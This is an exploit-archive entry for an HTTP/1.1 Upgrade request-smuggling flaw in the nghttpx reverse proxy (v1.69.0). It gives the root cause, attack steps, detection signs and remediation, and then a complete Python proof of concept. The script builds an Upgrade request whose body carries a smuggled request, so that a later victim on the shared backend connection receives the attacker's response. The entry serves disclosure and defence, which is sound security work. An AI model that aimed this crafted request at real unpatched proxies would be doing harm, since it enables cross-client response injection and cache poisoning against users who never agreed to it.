PoC Archive PoC Archive
High None assigned as of 2026-07-03 patched

nghttpx HTTP/1.1 Upgrade Request Body Response Queue Poisoning

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
High
CVE
None assigned as of 2026-07-03
Category
network
Affected product
nghttp2's nghttpx reverse proxy
Affected versions
v1.69.0 (fixed by upstream commit ab28105c4a0197da24f8bfc414bc116055249e1e)
Disclosed
2026-07-03
Patch status
patched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-06
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categorynetwork
SeverityHigh
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusPoC
Tagsnghttp2, nghttpx, reverse-proxy, request-smuggling, response-queue-poisoning, http-desync, upgrade-request, cache-poisoning
RelatedN/A

Affected Target

FieldValue
Software / Systemnghttp2’s nghttpx reverse proxy
Versions Affectedv1.69.0 (fixed by upstream commit ab28105c4a0197da24f8bfc414bc116055249e1e)
Language / PlatformC++ target (nghttpx); Python 3 stdlib-only PoC driver
Authentication RequiredNo
Network Access RequiredYes (attacker connects to the nghttpx HTTP/1.1 frontend; requires an Upgrade-aware HTTP/1.1 backend behind it)

Summary

nghttpx, the reverse proxy shipped with nghttp2, incorrectly accepts an HTTP/1.1 Upgrade request that also carries a Content-Length header, then forwards both the Upgrade headers and the body bytes unmodified to a keep-alive HTTP/1.1 backend connection. If the backend treats the Upgrade request as a protocol switch and parses the trailing body bytes as an entirely separate, smuggled HTTP request, that smuggled request’s response gets queued on the shared backend connection. When nghttpx subsequently reuses the same backend connection for an unrelated victim client’s request, the victim receives the attacker’s queued/smuggled response instead of their own. The researcher verified this locally end-to-end against a real nghttpx v1.69.0 binary, including a fixed-control run against the patched upstream commit. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed.


Vulnerability Details

Root Cause

nghttpx’s HTTP/1.1 frontend parser accepts Upgrade requests that also carry Content-Length instead of rejecting them, and HttpDownstreamConnection forwards both the original Upgrade/Content-Length headers and the buffered request body to the backend on a reusable keep-alive connection, allowing an Upgrade-aware backend to desynchronize and treat the trailing body bytes as a second, smuggled HTTP request.

Attack Vector

  1. Attacker connects to the nghttpx cleartext HTTP/1.1 frontend and sends a GET /upgrade request with Connection: Upgrade, Upgrade: websocket, and a Content-Length body containing a fully-formed smuggled request (GET /poisoned HTTP/1.1).
  2. nghttpx forwards the Upgrade request headers and body verbatim to a keep-alive HTTP/1.1 backend.
  3. The backend treats the Upgrade header terminator as a message boundary and parses the trailing body bytes as a second request (/poisoned), delaying its response.
  4. The backend replies to the original Upgrade request (e.g., UPGRADE-REJECT), and the attacker’s frontend connection closes.
  5. A victim client sends an unrelated request (e.g., GET /victim) that nghttpx routes onto the same now-reused backend connection.
  6. The backend’s previously delayed response to the smuggled /poisoned request is delivered as the victim’s response, poisoning the victim’s request with attacker-controlled content.

Impact

An unauthenticated attacker can cause an arbitrary victim client sharing a backend connection through nghttpx to receive an attacker-chosen response body, enabling cross-client response injection/cache poisoning and potential further abuse depending on what content the proxied application allows to be smuggled.


Environment / Lab Setup

Target:   nghttp2 nghttpx v1.69.0 reverse proxy, fronting a keep-alive HTTP/1.1 backend
Attacker: Python 3 (stdlib only) — poc.py

Proof of Concept

PoC Script

See poc.py in this folder.

1
python3 poc.py --nghttpx ./build/src/nghttpx --cwd ./nghttp2-v1.69.0

The script starts a real nghttpx v1.69.0 process fronting a small Python backend that implements the Upgrade-desync behavior, sends the crafted attacker Upgrade request with a smuggled body request, then sends a subsequent victim request over the reused backend connection, and prints a JSON result showing whether the victim received the smuggled response instead of its own.


Detection & Indicators of Compromise

Signs of compromise:

  • Clients reporting responses unrelated to the request they sent when proxied through nghttpx
  • Backend logs showing multiple HTTP requests parsed from a single forwarded connection where only one was expected
  • Unusual Upgrade requests combined with Content-Length in frontend access logs

Remediation

ActionDetail
Primary fixUpgrade to a build containing upstream commit ab28105c4a0197da24f8bfc414bc116055249e1e (“nghttpx: Tighten up CONNECT and HTTP Upgrade handling”), first present after v1.69.0
Interim mitigationReject or strip Content-Length/Transfer-Encoding on CONNECT or Upgrade requests at an edge layer in front of nghttpx; disable backend connection reuse for Upgrade-capable routes if not required

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: nghttp2-nghttpx-upgrade-queue-poison-poc) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
import argparse
import json
import os
import socket
import subprocess
import sys
import threading
import time


def free_port(host):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.bind((host, 0))
        return sock.getsockname()[1]


def wait_port(host, port, timeout):
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            with socket.create_connection((host, port), timeout=0.1):
                return True
        except OSError:
            time.sleep(0.05)
    return False


def read_response(sock, timeout):
    sock.settimeout(0.2)
    chunks = []
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            data = sock.recv(65536)
        except socket.timeout:
            continue
        except OSError:
            break
        if not data:
            break
        chunks.append(data)
        joined = b"".join(chunks)
        marker = joined.find(b"\r\n\r\n")
        if marker < 0:
            continue
        head = joined[: marker + 4]
        content_length = 0
        for line in head.split(b"\r\n")[1:]:
            if line.lower().startswith(b"content-length:"):
                content_length = int(line.split(b":", 1)[1].strip())
        if len(joined) >= marker + 4 + content_length:
            break
    return b"".join(chunks)


def response_body(response):
    marker = response.find(b"\r\n\r\n")
    if marker < 0:
        return b""
    return response[marker + 4 :]


def printable(data):
    return data.decode("latin1", "replace").replace("\r", "\\r").replace("\n", "\\n\n")


class UpgradeBackend:
    def __init__(self, host, delay, poison_body):
        self.host = host
        self.port = free_port(host)
        self.delay = delay
        self.poison_body = poison_body
        self.ready = threading.Event()
        self.stop = threading.Event()
        self.records = []
        self.thread = threading.Thread(target=self.run, daemon=True)

    def start(self):
        self.thread.start()
        if not self.ready.wait(5):
            raise RuntimeError("backend startup timed out")

    def close(self):
        self.stop.set()
        try:
            with socket.create_connection((self.host, self.port), timeout=0.2):
                pass
        except OSError:
            pass
        self.thread.join(timeout=2)

    def run(self):
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as srv:
            srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            srv.bind((self.host, self.port))
            srv.listen(16)
            srv.settimeout(0.2)
            self.ready.set()
            while not self.stop.is_set():
                try:
                    conn, addr = srv.accept()
                except socket.timeout:
                    continue
                except OSError:
                    break
                rec = {"addr": addr, "requests": [], "events": [], "raw": bytearray()}
                self.records.append(rec)
                threading.Thread(target=self.handle, args=(conn, rec), daemon=True).start()

    def send_response(self, conn, rec, status, body):
        response = (
            f"HTTP/1.1 {status}\r\n".encode()
            + f"Content-Length: {len(body)}\r\n".encode()
            + b"Connection: keep-alive\r\n"
            + b"\r\n"
            + body
        )
        conn.sendall(response)
        rec["events"].append(f"sent:{status}:{body.decode('latin1', 'replace')}")

    def handle(self, conn, rec):
        buf = bytearray()
        with conn:
            conn.settimeout(0.2)
            deadline = time.time() + 10
            while time.time() < deadline and not self.stop.is_set():
                try:
                    data = conn.recv(65536)
                except socket.timeout:
                    data = b""
                except OSError as exc:
                    rec["events"].append(f"recv-error:{exc.__class__.__name__}")
                    return
                if data:
                    rec["raw"].extend(data)
                    buf.extend(data)
                    rec["events"].append(f"recv:{len(data)}")
                while True:
                    marker = buf.find(b"\r\n\r\n")
                    if marker < 0:
                        break
                    head = bytes(buf[: marker + 4])
                    lines = head.split(b"\r\n")
                    reqline = lines[0].decode("latin1", "replace")
                    fields = {}
                    for line in lines[1:]:
                        if b":" in line:
                            k, v = line.split(b":", 1)
                            fields[k.strip().lower()] = v.strip().lower()
                    ignore_body = b"upgrade" in fields
                    content_length = 0 if ignore_body else int(fields.get(b"content-length", b"0") or b"0")
                    total = marker + 4 + content_length
                    if len(buf) < total:
                        break
                    del buf[:total]
                    parts = reqline.split(" ")
                    path = parts[1] if len(parts) > 1 else "/"
                    rec["requests"].append(reqline)
                    if path == "/upgrade":
                        self.send_response(conn, rec, "200 OK", b"UPGRADE-REJECT")
                    elif path == "/poisoned":
                        time.sleep(self.delay)
                        self.send_response(conn, rec, "200 OK", self.poison_body)
                    elif path == "/victim":
                        self.send_response(conn, rec, "200 OK", b"VICTIM-RESPONSE")
                    else:
                        self.send_response(conn, rec, "404 Not Found", b"UNKNOWN")
                if not data:
                    continue


def launch_nghttpx(args, backend):
    port = free_port(args.host)
    cmd = [
        args.nghttpx,
        "-f",
        f"{args.host},{port};no-tls",
        "-b",
        f"{args.host},{backend.port}",
        "--workers=1",
        f"--backend-keep-alive-timeout={args.backend_keepalive}s",
        "--errorlog-file=-",
    ]
    proc = subprocess.Popen(cmd, cwd=args.cwd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    if not wait_port(args.host, port, 5):
        proc.kill()
        proc.wait(timeout=2)
        raise RuntimeError("nghttpx frontend did not open")
    return proc, port


def run(args):
    poison_body = args.payload.encode("utf-8")
    backend = UpgradeBackend(args.host, args.delay, poison_body)
    backend.start()
    proc, frontend_port = launch_nghttpx(args, backend)
    smuggled = b"GET /poisoned HTTP/1.1\r\nHost: backend\r\n\r\n"
    attacker_payload = (
        b"GET /upgrade HTTP/1.1\r\n"
        b"Host: target\r\n"
        b"Connection: Upgrade\r\n"
        b"Upgrade: websocket\r\n"
        b"Content-Length: "
        + str(len(smuggled)).encode()
        + b"\r\n"
        b"\r\n"
        + smuggled
    )
    victim_payload = b"GET /victim HTTP/1.1\r\nHost: target\r\n\r\n"
    try:
        with socket.create_connection((args.host, frontend_port), timeout=2) as s1:
            s1.sendall(attacker_payload)
            attacker_response = read_response(s1, args.read_timeout)
        time.sleep(args.victim_wait)
        with socket.create_connection((args.host, frontend_port), timeout=2) as s2:
            s2.sendall(victim_payload)
            victim_response = read_response(s2, args.read_timeout)
        time.sleep(0.5)
    finally:
        proc.terminate()
        try:
            proc.wait(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            proc.wait(timeout=2)
        backend.close()
    stdout = proc.stdout.read() if proc.stdout else b""
    stderr = proc.stderr.read() if proc.stderr else b""
    attacker_body = response_body(attacker_response)
    victim_body = response_body(victim_response)
    result = {
        "attacker_body": attacker_body.decode("latin1", "replace"),
        "victim_body": victim_body.decode("latin1", "replace"),
        "victim_received_poison": poison_body in victim_body,
        "victim_received_expected": b"VICTIM-RESPONSE" in victim_body,
        "backend_connections": len(backend.records),
        "backend_requests": [rec["requests"] for rec in backend.records],
        "nghttpx_returncode": proc.returncode,
    }
    print(json.dumps(result, indent=2))
    if args.verbose:
        print("attacker_response:")
        print(printable(attacker_response))
        print("victim_response:")
        print(printable(victim_response))
        print("backend_trace:")
        for rec in backend.records:
            print(json.dumps({"requests": rec["requests"], "events": rec["events"]}, indent=2))
        if stdout or stderr:
            print("nghttpx_output:")
            print(printable((stdout + stderr)[-4000:]))
    if args.expect_fixed:
        return 0 if result["victim_received_expected"] and not result["victim_received_poison"] else 1
    return 0 if result["victim_received_poison"] else 1


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--nghttpx", required=True)
    parser.add_argument("--cwd", default=os.getcwd())
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--payload", default="SMUGGLED-BENIGN-PAYLOAD")
    parser.add_argument("--delay", type=float, default=1.0)
    parser.add_argument("--victim-wait", type=float, default=0.2)
    parser.add_argument("--read-timeout", type=float, default=2.0)
    parser.add_argument("--backend-keepalive", type=int, default=10)
    parser.add_argument("--expect-fixed", action="store_true")
    parser.add_argument("--verbose", action="store_true")
    args = parser.parse_args()
    try:
        return run(args)
    except Exception as exc:
        print(f"[-] {exc}", file=sys.stderr)
        return 1


if __name__ == "__main__":
    raise SystemExit(main())